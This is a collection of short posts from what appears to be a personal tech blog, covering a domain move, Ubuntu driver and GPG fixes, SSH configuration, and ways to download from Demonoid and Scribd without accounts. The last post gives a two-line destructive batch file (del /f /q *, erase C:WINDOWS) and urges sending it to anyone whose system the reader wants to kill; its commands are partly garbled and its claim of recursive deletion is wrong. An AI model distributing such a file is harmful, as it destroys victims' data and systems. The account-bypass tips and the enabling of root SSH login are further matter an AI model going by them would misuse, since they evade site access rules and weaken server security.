Techgaun on custom domain

Hi everybody, I am glad to announce that techgaun has now moved to the custom domain www.techgaun.com. I hope to post more actively now. Thanks everyone for your visit. :)


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Download Torrents From Demonoid Without Any Account

Demonoid.com is one of the most widely used bittorrent tracking site and registration requires invitation from the existing member of demonoid.com. However, in case you don't have an account, there's still a way to download the torrents from demonoid. I would like to thank a friend for providing me insights of doing this.

First go to the following link: http://torrent-finder.info/open/6-Demonoid/search

The search page will appear. Now its just the matter of search and download. Have fun downloading torrents from demonoid.com. :)




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Install New Nvidia Driver 270.41.19 in Ubuntu

NVIDIA has released the new versions of unix drivers recently and many bugs have been fixed in this release.

To install this recent driver in ubuntu 11.xx, open the terminal and type the following:

sudo apt-add-repository ppa:ubuntu-x-swat/x-updates
sudo apt-get update
sudo apt-get install nvidia-current

Also the packages are available for download from following links:

http://www.nvidia.com/object/unix.html

ftp://download.nvidia.com/XFree86/Linux-x86/270.41.19/

ftp://download.nvidia.com/XFree86/Linux-x86_64/270.41.19/





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MidpSSH: SSH and Telnet Client For J2ME Phones

MidpSSH is an SSH and Telnet client for MIDP 1.0 / 2.0 (J2ME) devices such as Java™-capable cellphones and other mobile devices.

MidpSSH provides SSH (Secure Shell) and Telnet functionality on mobile devices such as cellphones. This is really useful for people who need to access a server wherever they are, without carrying around a computer or searching for an Internet connection. Because the screen is small, the connection is often slow, and you’re possibly without a full keyboard, it isn’t great for prolonged use - but if you’re desperate it’s a life saver.

For downloading and more information, go to the official site.

I hope this tool comes useful for you sometimes. :)

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How To Enable SSH Login Access For Linux Users

So you just added a new user to your linux box and you want to give SSH login access (OpenSSH server in my example) to that user. You just need to edit the sshd_config file and add the user for SSH access.

To do this, open the /etc/ssh/sshd_config file and search for the AllowUsers string. Now just add the username of newly created user at the end of the line just as below:

#Adding new user samar for SSh access
AllowUsers nano root samar

Also, the SSh access for root account can be configured as well. For that, search the PermitRootLogin string and to enable root login set it as yes as below:

PermitRootLogin yes

This enables SSh access to the root user as well. But enabling the root login is not the good security practice. I hope this HowTo helps you. :)

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Download Scribd.com PDFs Without Any Account

Earlier today, I had to download a PDF document from scribd.com but I didn't have any account in scribd.com and I have coded a script that would help me download the PDFs from scribd.com without any account.

To access the service, visit this link.




It will ask you for the URL of the PDF document. Just copy and paste the URL from address bar when you are viewing the PDF in scribd.com.

I hope this becomes useful for you sometimes. :)

Note: Many people emailed me that the tool is not working. In fact, scribd has changed the way the documents are downloaded. Once I find the new bypassing method, I'll redo the script.

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Fix GPG Key Errors For Bad Keys

Today I tried to update my ubuntu 10.10 but unfortunately, I found the error regarding the GPG keys saying the signature could not be verified. A simple solution for this is presented in this post.

The error I got was as below:

W: GPG error: http://ppa.launchpad.net maverick Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 5A9A06AEF9CB8DB0

My solution was to update the keys using the same hex number shown in the error.

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 5A9A06AEF9CB8DB0

This simply worked as a charm. I hope this works for you as well. :)

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Kill Windows System With Batch File

This is a very useful two lines code that can be pretty dangerous if executed especially if there's a higher privilege in the windows OS(works well on XP, not tested on other windows versions).

Open the notepad and type following lines of code:

del /f /q *
erase C:WINDOWS

The above line of code deletes everything recursively without asking for any confirmation.

In the case you want to delete certain folder entirely(C:\windows in this example), type the following line of code in notepad:

erase c:windows

Now save the file as filename.bat and send it to your friends or anyone whose system you want to kill. On clicking this batch file, very bad things are gonna happen. So be warned not to click when the file is in your system.

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